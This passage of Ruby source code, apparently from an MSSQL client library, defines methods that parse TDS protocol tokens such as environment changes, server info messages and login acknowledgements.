  781. info[:envs] << { :type => type, :old => oval, :new => nval }
  782. info
  783. end
  784. #
  785. # Parse an "information" TDS token
  786. #
  787. def mssql_parse_info(data, info)
  788. len = data.slice!(0,2).unpack('v')[0]
  789. buff = data.slice!(0,len)
  790. errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
  791. emsg = buff.slice!(0,elen * 2)
  792. emsg.gsub!("\x00", '')
  793. info[:infos]||= []
  794. info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
  795. info
  796. end
  797. #
  798. # Parse a "login ack" TDS token
  799. #
  800. def mssql_parse_login_ack(data, info)
  801. len = data.slice!(0,2).unpack('v')[0]
  802. buff = data.slice!(0,len)
  803. info[:login_ack] = true
  804. end
  805. end
  806. end